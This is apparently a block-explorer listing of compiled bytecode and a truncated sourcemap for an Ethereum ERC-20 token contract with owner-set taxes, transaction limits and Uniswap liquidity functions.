5281875180845260c086019150828901935060005b81811015611aa75784516001600160a01b031683529383019391830191600101611a82565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203925274dab67a6718f1e5b163a4f1939a6901e6ccae0f68d1aff0c0b27a056da64736f6c634300080a0033

Deployed Bytecode

0x60806040526004361061012e5760003560e01c806382116718116100ab578063a9059cbb1161006f578063a9059cbb1461033e578063bf474bed1461035e578063dd62ed3e14610374578063df8408fe146103ba578063e8078d94146103da578063f5648a4f146103ef57600080fd5b8063821167181461029d5780638a8c523c146102bd5780638da5cb5b146102d25780638f9a55c0146102fa57806395d89b411461031057600080fd5b8063313ce567116100f2578063313ce5671461020957806370a0823114610225578063715018a61461025b578063751039fc146102725780637d1db4a51461028757600080fd5b806306fdde031461013a578063095ea7b3146101805780630faee56f146101b057806318160ddd146101d457806323b872dd146101e957600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600b81526a151c9d5b5c0815dbdc9b1960aa1b60208201525b6040516101779190611685565b60405180910390f35b34801561018c57600080fd5b506101a061019b3660046116ef565b610404565b6040519015158152602001610177565b3480156101bc57600080fd5b506101c6600a5481565b604051908152602001610177565b3480156101e057600080fd5b506101c661041b565b3480156101f557600080fd5b506101a061020436600461171b565b61043c565b34801561021557600080fd5b5060405160098152602001610177565b34801561023157600080fd5b506101c661024036600461175c565b6001600160a01b031660009081526001602052604090205490565b34801561026757600080fd5b506102706104a5565b005b34801561027e57600080fd5b50610270610522565b34801561029357600080fd5b506101c660075481565b3480156102a957600080fd5b506102706102b8366004611779565b6105d5565b3480156102c957600080fd5b506102706106b2565b3480156102de57600080fd5b506000546040516001600160a01b039091168152602001610177565b34801561030657600080fd5b506101c660085481565b34801561031c57600080fd5b506040805180820190915260058152640a8a4aaa8960db1b602082015261016a565b34801561034a57600080fd5b506101a06103593660046116ef565b61077c565b34801561036a57600080fd5b506101c660095481565b34801561038057600080fd5b506101c661038f36600461179b565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103c657600080fd5b506102706103d53660046117e2565b610789565b3480156103e657600080fd5b506102706107de565b3480156103fb57600080fd5b50610270610b77565b6000610411338484610c52565b5060015b92915050565b60006104296009600a61190a565b61043790633b9aca00611919565b905090565b6000610449848484610d20565b61049b843361049685604051806060016040528060288152602001611ac9602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061130b565b610c52565b5060019392505050565b6000546001600160a01b031633146104d85760405162461bcd60e51b81526004016104cf90611938565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461054c5760405162461bcd60e51b81526004016104cf90611938565b6105586009600a61190a565b61056690633b9aca00611919565b6007556105756009600a61190a565b61058390633b9aca00611919565b6008557f69ada53addde5123341ce3a822c5f66292103b2771e41e1f3c00c2de8a63a7f96105b36009600a61190a565b6105c190633b9aca00611919565b6040519081526020015b60405180910390a1565b6000546001600160a01b031633146105ff5760405162461bcd60e51b81526004016104cf90611938565b60198211158015610611575060198111155b801561061f5750600f5460ff165b61066b5760405162461bcd60e51b815260206004820152601860248201527f46696e616c205461783a20457863656564732076616c7565000000000000000060448201526064016104cf565b600b829055600c81905560408051838152602081018390527f78009e5656a5c60b3c047015fb856b2efbc6f42beed76119406d7d4e3fc161f4910160405180910390a15050565b6000546001600160a01b031633146106dc5760405162461bcd60e51b81526004016104cf90611938565b600f5460ff16156107265760405162461bcd60e51b81526020600482015260146024820152733a3930b234b7339030b63932b0b23c9037b832b760611b60448201526064016104cf565b600f80546201000162ff00ff19909116179081905560408051600181526201000090920460ff16151560208301527f41a09f17206aad1ccd4bae176b5c5e0b2154e569947545c9019e6bb0cb4ef59c91016105cb565b6000610411338484610d20565b6000546001600160a01b031633146107b35760405162461bcd60e51b81526004016104cf90611938565b6001600160a01b03919091166000908152600360205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108085760405162461bcd60e51b81526004016104cf90611938565b600f5460ff16156108515760405162461bcd60e51b81526020600482015260136024820152721a5b9a5d08185b1c9958591e4818d85b1b1959606a1b60448201526064016104cf565b6000610883606461087d605a6108696009600a61190a565b61087790633b9aca00611919565b90610b8a565b90610c10565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091559091506108cf9030906108c16009600a61190a565b61049690633b9aca00611919565b600660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610922573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610946919061196d565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc919061196d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a19573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3d919061196d565b600580546001600160a01b0319166001600160a01b039283161790556006541663f305d7194730846000803360405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ad1573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610af6919061198a565b505060055460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610b4f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b7391906119b8565b5050565b478015610b8757610b8781611345565b50565b600082610b9957506000610415565b6000610ba58385611919565b905082610bb285836119d5565b14610c095760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104cf565b9392505050565b6000610c0983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061137f565b6001600160a01b03831615801590610c7257506001600160a01b03821615155b610cbe5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a20617070726f766520746865207a65726f20616464726573730060448201526064016104cf565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831615801590610d4057506001600160a01b03821615155b610d8c5760405162461bcd60e51b815260206004820181905260248201527f45524332303a207472616e7366657220746865207a65726f206164647265737360448201526064016104cf565b60008111610dee5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104cf565b600f5460ff16610e7a576001600160a01b03821660009081526003602052604090205460ff1680610e3757506001600160a01b03831660009081526003602052604090205460ff165b610e7a5760405162461bcd60e51b81526020600482015260146024820152733a3930b234b733903737ba103cb2ba1037b832b760611b60448201526064016104cf565b600f5462010000900460ff161580610e995750600f54610100900460ff165b15610f44576001600160a01b038316600090815260016020526040902054610ec190826113ad565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610ef090826113ef565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d139085815260200190565b6001600160a01b038316600090815260036020526040812054600d5460ff9091161590606490610f8790600510610f7c57600a610f80565b600b545b8590610b8a565b610f9191906119d5565b9150610fa56000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610fd457506000546001600160a01b03858116911614155b15611271576005546001600160a01b03868116911614801561100457506006546001600160a01b03858116911614155b801561102957506001600160a01b03841660009081526003602052604090205460ff16155b15611111576007548311156110805760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104cf565b600854836110a3866001600160a01b031660009081526001602052604090205490565b6110ad91906119f7565b11156110fb5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104cf565b600d805490600061110b83611a0f565b91905055505b6005546001600160a01b03858116911614801561113757506001600160a01b0385163014155b1561116957606461115c6005600d541161115257600a610f80565b600c548590610b8a565b61116691906119d5565b91505b81600e600082825461117b91906119f7565b909155505030600090815260016020526040902054600f54610100900460ff161580156111b557506005546001600160a01b038681169116145b80156111c95750600f5462010000900460ff165b80156111d757506005600d54115b80156111fc57506001600160a01b03861660009081526003602052604090205460ff16155b801561122157506001600160a01b03851660009081526003602052604090205460ff16155b1561126f576000600e556009548110611263576000600a5482116112455781611249565b600a545b905061126181861161125b578561144e565b8161144e565b505b4761126d47611345565b505b505b61127d858484846115c2565b6112a961128a84846113ad565b6001600160a01b038616600090815260016020526040902054906113ef565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112f386866113ad565b60405190815260200160405180910390a35050505050565b6000818484111561132f5760405162461bcd60e51b81526004016104cf9190611685565b50600061133c8486611a2a565b95945050505050565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610b73573d6000803e3d6000fd5b600081836113a05760405162461bcd60e51b81526004016104cf9190611685565b50600061133c84866119d5565b6000610c0983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061130b565b6000806113fc83856119f7565b905083811015610c095760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104cf565b600f805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061149257611492611a41565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061150f919061196d565b8160018151811061152257611522611a41565b6001600160a01b0392831660209182029290920101526006546115489130911684610c52565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611581908590600090869030904290600401611a57565b600060405180830381600087803b15801561159b57600080fd5b505af11580156115af573d6000803e3d6000fd5b5050600f805461ff001916905550505050565b801561167f57811561164257306000908152600160205260409020546115e890836113ef565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116399086815260200190565b60405180910390a35b6001600160a01b03841660009081526001602052604090205461166590846113ad565b6001600160a01b0385166000908152600160205260409020555b50505050565b600060208083528351808285015260005b818110156116b257858101830151858201604001528201611696565b818111156116c4576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610b8757600080fd5b6000806040838503121561170257600080fd5b823561170d816116da565b946020939093013593505050565b60008060006060848603121561173057600080fd5b833561173b816116da565b9250602084013561174b816116da565b929592945050506040919091013590565b60006020828403121561176e57600080fd5b8135610c09816116da565b6000806040838503121561178c57600080fd5b50508035926020909101359150565b600080604083850312156117ae57600080fd5b82356117b9816116da565b915060208301356117c9816116da565b809150509250929050565b8015158114610b8757600080fd5b600080604083850312156117f557600080fd5b8235611800816116da565b915060208301356117c9816117d4565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561186157816000190482111561184757611847611810565b8085161561185457918102915b93841c939080029061182b565b509250929050565b60008261187857506001610415565b8161188557506000610415565b816001811461189b57600281146118a5576118c1565b6001915050610415565b60ff8411156118b6576118b6611810565b50506001821b610415565b5060208310610133831016604e8410600b84101617156118e4575081810a610415565b6118ee8383611826565b806000190482111561190257611902611810565b029392505050565b6000610c0960ff841683611869565b600081600019048311821515161561193357611933611810565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561197f57600080fd5b8151610c09816116da565b60008060006060848603121561199f57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156119ca57600080fd5b8151610c09816117d4565b6000826119f257634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611a0a57611a0a611810565b500190565b6000600019821415611a2357611a23611810565b5060010190565b600082821015611a3c57611a3c611810565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611aa75784516001600160a01b031683529383019391830191600101611a82565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203925274dab67a6718f1e5b163a4f1939a6901e6ccae0f68d1aff0c0b27a056da64736f6c634300080a0033

Deployed Bytecode Sourcemap

3951:9882:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6170:83;;;;;;;;;;-1:-1:-1;6240:5:0;;;;;;;;;;;;-1:-1:-1;;;6240:5:0;;;;6170:83;;;;;;;:::i;:::-;;;;;;;;7053:186;;;;;;;;;;-1:-1:-1;7053:186:0;;;;;:::i;:::-;;:::i;:::-;;;1237:14:1;;1230:22;1212:41;;1200:2;1185:18;7053:186:0;1072:187:1;5024:52:0;;;;;;;;;;;;;;;;;;;1410:25:1;;;1398:2;1383:18;5024:52:0;1264:177:1;6447:95:0;;;;;;;;;;;;;:::i;7247:446::-;;;;;;;;;;-1:-1:-1;7247:446:0;;;;;:::i;:::-;;:::i;6356:83::-;;;;;;;;;;-1:-1:-1;6356:83:0;;4647:1;2049:36:1;;2037:2;2022:18;6356:83:0;1907:184:1;6550:119:0;;;;;;;;;;-1:-1:-1;6550:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6643:18:0;6616:7;6643:18;;;:9;:18;;;;;;;6550:119;2982:148;;;;;;;;;;;;;:::i;:::-;;13461:153;;;;;;;;;;;;;:::i;4839:53::-;;;;;;;;;;;;;;;;13083:366;;;;;;;;;;-1:-1:-1;13083:366:0;;;;;:::i;:::-;;:::i;5941:221::-;;;;;;;;;;;;;:::i;2768:79::-;;;;;;;;;;-1:-1:-1;2806:7:0;2833:6;2768:79;;-1:-1:-1;;;;;2833:6:0;;;2747:51:1;;2735:2;2720:18;2768:79:0;2601:203:1;4899:55:0;;;;;;;;;;;;;;;;6261:87;;;;;;;;;;-1:-1:-1;6333:7:0;;;;;;;;;;;;-1:-1:-1;;;6333:7:0;;;;6261:87;;6677:192;;;;;;;;;;-1:-1:-1;6677:192:0;;;;;:::i;:::-;;:::i;4961:56::-;;;;;;;;;;;;;;;;6877:168;;;;;;;;;;-1:-1:-1;6877:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7010:18:0;;;6983:7;7010:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6877:168;7701:130;;;;;;;;;;-1:-1:-1;7701:130:0;;;;;:::i;:::-;;:::i;11729:813::-;;;;;;;;;;;;;:::i;13659:171::-;;;;;;;;;;;;;:::i;7053:186::-;7153:4;7170:39;395:10;7193:7;7202:6;7170:8;:39::i;:::-;-1:-1:-1;7227:4:0;7053:186;;;;;:::o;6447:95::-;6500:7;4703:15;4647:1;4703:2;:15;:::i;:::-;4690:28;;:10;:28;:::i;:::-;6520:14;;6447:95;:::o;7247:446::-;7379:4;7396:36;7406:6;7414:9;7425:6;7396:9;:36::i;:::-;7443:220;7466:6;395:10;7514:138;7570:6;7514:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7514:19:0;;;;;;:11;:19;;;;;;;;395:10;7514:33;;;;;;;;;;:37;:138::i;:::-;7443:8;:220::i;:::-;-1:-1:-1;7681:4:0;7247:446;;;;;:::o;2982:148::-;2895:6;;-1:-1:-1;;;;;2895:6:0;395:10;2895:22;2887:67;;;;-1:-1:-1;;;2887:67:0;;;;;;;:::i;:::-;;;;;;;;;3089:1:::1;3073:6:::0;;3052:40:::1;::::0;-1:-1:-1;;;;;3073:6:0;;::::1;::::0;3052:40:::1;::::0;3089:1;;3052:40:::1;3120:1;3103:19:::0;;-1:-1:-1;;;;;;3103:19:0::1;::::0;;2982:148::o;13461:153::-;2895:6;;-1:-1:-1;;;;;2895:6:0;395:10;2895:22;2887:67;;;;-1:-1:-1;;;2887:67:0;;;;;;;:::i;:::-;4703:15:::1;4647:1;4703:2;:15;:::i;:::-;4690:28;::::0;:10:::1;:28;:::i;:::-;13515:12;:22:::0;4703:15:::1;4647:1;4703:2;:15;:::i;:::-;4690:28;::::0;:10:::1;:28;:::i;:::-;13548:14;:24:::0;13588:18:::1;4703:15;4647:1;4703:2;:15;:::i;:::-;4690:28;::::0;:10:::1;:28;:::i;:::-;13588:18;::::0;1410:25:1;;;1398:2;1383:18;13588::0::1;;;;;;;;13461:153::o:0;13083:366::-;2895:6;;-1:-1:-1;;;;;2895:6:0;395:10;2895:22;2887:67;;;;-1:-1:-1;;;2887:67:0;;;;;;;:::i;:::-;13233:2:::1;13220:9;:15;;:35;;;;;13253:2;13239:10;:16;;13220:35;:50;;;;-1:-1:-1::0;13259:11:0::1;::::0;::::1;;13220:50;13198:124;;;::::0;-1:-1:-1;;;13198:124:0;;5963:2:1;13198:124:0::1;::::0;::::1;5945:21:1::0;6002:2;5982:18;;;5975:30;6041:26;6021:18;;;6014:54;6085:18;;13198:124:0::1;5761:348:1::0;13198:124:0::1;13333:12;:24:::0;;;13368:13:::1;:26:::0;;;13410:31:::1;::::0;;6288:25:1;;;6344:2;6329:18;;6322:34;;;13410:31:0::1;::::0;6261:18:1;13410:31:0::1;;;;;;;13083:366:::0;;:::o;5941:221::-;2895:6;;-1:-1:-1;;;;;2895:6:0;395:10;2895:22;2887:67;;;;-1:-1:-1;;;2887:67:0;;;;;;;:::i;:::-;6005:11:::1;::::0;::::1;;6004:12;5996:45;;;::::0;-1:-1:-1;;;5996:45:0;;6569:2:1;5996:45:0::1;::::0;::::1;6551:21:1::0;6608:2;6588:18;;;6581:30;-1:-1:-1;;;6627:18:1;;;6620:50;6687:18;;5996:45:0::1;6367:344:1::0;5996:45:0::1;6052:11;:18:::0;;6081;-1:-1:-1;;6081:18:0;;;;;;;;6115:39:::1;::::0;;-1:-1:-1;6878:41:1;;6052:18:0;6142:11;;::::1;6052:18;6142:11;6962:14:1::0;6955:22;6950:2;6935:18;;6928:50;6115:39:0::1;::::0;6851:18:1;6115:39:0::1;6716:268:1::0;6677:192:0;6780:4;6797:42;395:10;6821:9;6832:6;6797:9;:42::i;7701:130::-;2895:6;;-1:-1:-1;;;;;2895:6:0;395:10;2895:22;2887:67;;;;-1:-1:-1;;;2887:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7785:27:0;;;::::1;;::::0;;;:18:::1;:27;::::0;;;;:38;;-1:-1:-1;;7785:38:0::1;::::0;::::1;;::::0;;;::::1;::::0;;7701:130::o;11729:813::-;2895:6;;-1:-1:-1;;;;;2895:6:0;395:10;2895:22;2887:67;;;;-1:-1:-1;;;2887:67:0;;;;;;;:::i;:::-;11792:11:::1;::::0;::::1;;11791:12;11783:44;;;::::0;-1:-1:-1;;;11783:44:0;;7191:2:1;11783:44:0::1;::::0;::::1;7173:21:1::0;7230:2;7210:18;;;7203:30;-1:-1:-1;;;7249:18:1;;;7242:49;7308:18;;11783:44:0::1;6989:343:1::0;11783:44:0::1;11838:19;11860:24;11880:3;11860:15;11872:2;4703:15;4647:1;4703:2;:15;:::i;:::-;4690:28;::::0;:10:::1;:28;:::i;:::-;11860:11:::0;::::1;:15::i;:::-;:19:::0;::::1;:24::i;:::-;11895:15;:104:::0;;-1:-1:-1;;;;;;11895:104:0::1;11946:42;11895:104:::0;;::::1;::::0;;;11838:46;;-1:-1:-1;12010:58:0::1;::::0;12027:4:::1;::::0;4703:15:::1;4647:1;4703:2;:15;:::i;:::-;4690:28;::::0;:10:::1;:28;:::i;12010:58::-;12113:15;;;;;;;;;-1:-1:-1::0;;;;;12113:15:0::1;-1:-1:-1::0;;;;;12113:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12095:55:0::1;;12173:4;12193:15;;;;;;;;;-1:-1:-1::0;;;;;12193:15:0::1;-1:-1:-1::0;;;;;12193:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12095:131;::::0;-1:-1:-1;;;;;;12095:131:0::1;::::0;;;;;;-1:-1:-1;;;;;7823:15:1;;;12095:131:0::1;::::0;::::1;7805:34:1::0;7875:15;;7855:18;;;7848:43;7740:18;;12095:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12079:13;:147:::0;;-1:-1:-1;;;;;;12079:147:0::1;-1:-1:-1::0;;;;;12079:147:0;;::::1;;::::0;;12237:15:::1;::::0;::::1;:31;12276:21;12321:4;12341:11:::0;-1:-1:-1;;395:10:0;12237:215:::1;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12237:215:0;;;-1:-1:-1;;;;;8261:15:1;;;12237:215:0::1;::::0;::::1;8243:34:1::0;8293:18;;;8286:34;;;;8336:18;;;8329:34;;;;8379:18;;;8372:34;8443:15;;;8422:19;;;8415:44;12426:15:0::1;8475:19:1::0;;;8468:35;8177:19;;12237:215:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12470:13:0::1;::::0;12501:15:::1;::::0;12463:71:::1;::::0;-1:-1:-1;;;12463:71:0;;-1:-1:-1;;;;;12501:15:0;;::::1;12463:71;::::0;::::1;8999:51:1::0;-1:-1:-1;;9066:18:1;;;9059:34;12470:13:0;::::1;::::0;-1:-1:-1;12463:29:0::1;::::0;8972:18:1;;12463:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;11772:770;11729:813::o:0;13659:171::-;13726:21;13761:12;;13758:65;;13787:24;13800:10;13787:12;:24::i;:::-;13696:134;13659:171::o;1802:246::-;1860:7;1884:6;1880:47;;-1:-1:-1;1914:1:0;1907:8;;1880:47;1937:9;1949:5;1953:1;1949;:5;:::i;:::-;1937:17;-1:-1:-1;1982:1:0;1973:5;1977:1;1937:17;1973:5;:::i;:::-;:10;1965:56;;;;-1:-1:-1;;;1965:56:0;;9778:2:1;1965:56:0;;;9760:21:1;9817:2;9797:18;;;9790:30;9856:34;9836:18;;;9829:62;-1:-1:-1;;;9907:18:1;;;9900:31;9948:19;;1965:56:0;9576:397:1;1965:56:0;2039:1;1802:246;-1:-1:-1;;;1802:246:0:o;2056:132::-;2114:7;2141:39;2145:1;2148;2141:39;;;;;;;;;;;;;;;;;:3;:39::i;7839:313::-;-1:-1:-1;;;;;7946:19:0;;;;;;:44;;-1:-1:-1;;;;;;7969:21:0;;;;7946:44;7924:125;;;;-1:-1:-1;;;7924:125:0;;10180:2:1;7924:125:0;;;10162:21:1;10219:2;10199:18;;;10192:30;10258:33;10238:18;;;10231:61;10309:18;;7924:125:0;9978:355:1;7924:125:0;-1:-1:-1;;;;;8060:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8112:32;;1410:25:1;;;8112:32:0;;1383:18:1;8112:32:0;;;;;;;;7839:313;;;:::o;8160:3070::-;-1:-1:-1;;;;;8272:22:0;;;;;;:48;;-1:-1:-1;;;;;;8298:22:0;;;;8272:48;8250:130;;;;-1:-1:-1;;;8250:130:0;;10540:2:1;8250:130:0;;;10522:21:1;;;10559:18;;;10552:30;10618:34;10598:18;;;10591:62;10670:18;;8250:130:0;10338:356:1;8250:130:0;8408:1;8399:6;:10;8391:64;;;;-1:-1:-1;;;8391:64:0;;10901:2:1;8391:64:0;;;10883:21:1;10940:2;10920:18;;;10913:30;10979:34;10959:18;;;10952:62;-1:-1:-1;;;11030:18:1;;;11023:39;11079:19;;8391:64:0;10699:405:1;8391:64:0;8473:11;;;;8468:187;;-1:-1:-1;;;;;8527:28:0;;;;;;:18;:28;;;;;;;;;:60;;-1:-1:-1;;;;;;8559:28:0;;;;;;:18;:28;;;;;;;;8527:60;8501:142;;;;-1:-1:-1;;;8501:142:0;;11311:2:1;8501:142:0;;;11293:21:1;11350:2;11330:18;;;11323:30;-1:-1:-1;;;11369:18:1;;;11362:50;11429:18;;8501:142:0;11109:344:1;8501:142:0;8672:11;;;;;;;8671:12;;:22;;-1:-1:-1;8687:6:0;;;;;;;8671:22;8667:253;;;-1:-1:-1;;;;;8732:19:0;;;;;;:9;:19;;;;;;:31;;8756:6;8732:23;:31::i;:::-;-1:-1:-1;;;;;8710:19:0;;;;;;;:9;:19;;;;;;:53;;;;8800:19;;;;;;;:31;;8824:6;8800:23;:31::i;:::-;-1:-1:-1;;;;;8778:19:0;;;;;;;:9;:19;;;;;;;:53;;;;8851:36;;;;;;;;;;8880:6;1410:25:1;;1398:2;1383:18;;1264:177;8667:253:0;-1:-1:-1;;;;;8976:28:0;;8930:17;8976:28;;;:18;:28;;;;;;9072:9;;8976:28;;;;8975:29;;9163:3;;9042:105;;4368:1;-1:-1:-1;9071:61:0;;4264:2;9071:61;;;9103:12;;9071:61;9042:6;;:10;:105::i;:::-;:124;;;;:::i;:::-;9017:149;;9195:7;2806;2833:6;-1:-1:-1;;;;;2833:6:0;;2768:79;9195:7;-1:-1:-1;;;;;9183:19:0;:8;-1:-1:-1;;;;;9183:19:0;;;:42;;;;-1:-1:-1;2806:7:0;2833:6;-1:-1:-1;;;;;9206:19:0;;;2833:6;;9206:19;;9183:42;9179:1826;;;9276:13;;-1:-1:-1;;;;;9264:25:0;;;9276:13;;9264:25;:82;;;;-1:-1:-1;9330:15:0;;-1:-1:-1;;;;;9310:36:0;;;9330:15;;9310:36;;9264:82;:132;;;;-1:-1:-1;;;;;;9368:28:0;;;;;;:18;:28;;;;;;;;9367:29;9264:132;9242:460;;;9449:12;;9439:6;:22;;9431:60;;;;-1:-1:-1;;;9431:60:0;;11660:2:1;9431:60:0;;;11642:21:1;11699:2;11679:18;;;11672:30;11738:27;11718:18;;;11711:55;11783:18;;9431:60:0;11458:349:1;9431:60:0;9572:14;;9562:6;9540:19;9550:8;-1:-1:-1;;;;;6643:18:0;6616:7;6643:18;;;:9;:18;;;;;;;6550:119;9540:19;:28;;;;:::i;:::-;:46;;9510:146;;;;-1:-1:-1;;;9510:146:0;;12147:2:1;9510:146:0;;;12129:21:1;12186:2;12166:18;;;12159:30;12225:28;12205:18;;;12198:56;12271:18;;9510:146:0;11945:350:1;9510:146:0;9675:9;:11;;;:9;:11;;;:::i;:::-;;;;;;9242:460;9734:13;;-1:-1:-1;;;;;9722:25:0;;;9734:13;;9722:25;:54;;;;-1:-1:-1;;;;;;9751:25:0;;9771:4;9751:25;;9722:54;9718:337;;;10036:3;9830:182;4420:1;9868:9;;:28;9867:122;;4316:2;9867:122;;;9929:13;;9830:6;;:10;:182::i;:::-;:209;;;;:::i;:::-;9797:242;;9718:337;10084:9;10071;;:22;;;;;;;:::i;:::-;;;;-1:-1:-1;;10157:4:0;10108:28;6643:18;;;:9;:18;;;;;;10201:6;;;;;;;10200:7;:53;;;;-1:-1:-1;10240:13:0;;-1:-1:-1;;;;;10228:25:0;;;10240:13;;10228:25;10200:53;:85;;;;-1:-1:-1;10274:11:0;;;;;;;10200:85;:136;;;;;4474:1;10306:9;;:30;10200:136;:186;;;;-1:-1:-1;;;;;;10358:28:0;;;;;;:18;:28;;;;;;;;10357:29;10200:186;:236;;;;-1:-1:-1;;;;;;10408:28:0;;;;;;:18;:28;;;;;;;;10407:29;10200:236;10178:816;;;10483:1;10471:9;:13;10530:17;;10506:41;;10503:320;;10572:19;10618:11;;10595:20;:34;10594:123;;10697:20;10594:123;;;10658:11;;10594:123;10572:145;;10740:63;10767:11;10758:6;:20;10757:45;;10796:6;10740:16;:63::i;10757:45::-;10782:11;10740:16;:63::i;:::-;10549:274;10503:320;10870:21;10941:35;10954:21;10941:12;:35::i;:::-;10452:542;10178:816;9227:1778;9179:1826;11017:59;11032:8;11042:6;11050:9;11061:14;11017;:59::i;:::-;11109:46;11133:21;:6;11144:9;11133:10;:21::i;:::-;-1:-1:-1;;;;;11109:19:0;;;;;;:9;:19;;;;;;;:23;:46::i;:::-;-1:-1:-1;;;;;11087:19:0;;;;;;;:9;:19;;;;;:68;;;;11171:51;;;11200:21;:6;11211:9;11200:10;:21::i;:::-;11171:51;;1410:25:1;;;1398:2;1383:18;11171:51:0;;;;;;;8239:2991;;8160:3070;;;:::o;1570:224::-;1690:7;1726:12;1718:6;;;;1710:29;;;;-1:-1:-1;;;1710:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1750:9:0;1762:5;1766:1;1762;:5;:::i;:::-;1750:17;1570:224;-1:-1:-1;;;;;1570:224:0:o;12550:92::-;12607:10;;:27;;-1:-1:-1;;;;;12607:10:0;;;;:27;;;;;12627:6;;12607:10;:27;:10;:27;12627:6;12607:10;:27;;;;;;;;;;;;;;;;;;;2196:223;2316:7;2351:12;2344:5;2336:28;;;;-1:-1:-1;;;2336:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2375:9:0;2387:5;2391:1;2387;:5;:::i;1426:136::-;1484:7;1511:43;1515:1;1518;1511:43;;;;;;;;;;;;;;;;;:3;:43::i;1239:179::-;1297:7;;1329:5;1333:1;1329;:5;:::i;:::-;1317:17;;1358:1;1353;:6;;1345:46;;;;-1:-1:-1;;;1345:46:0;;12772:2:1;1345:4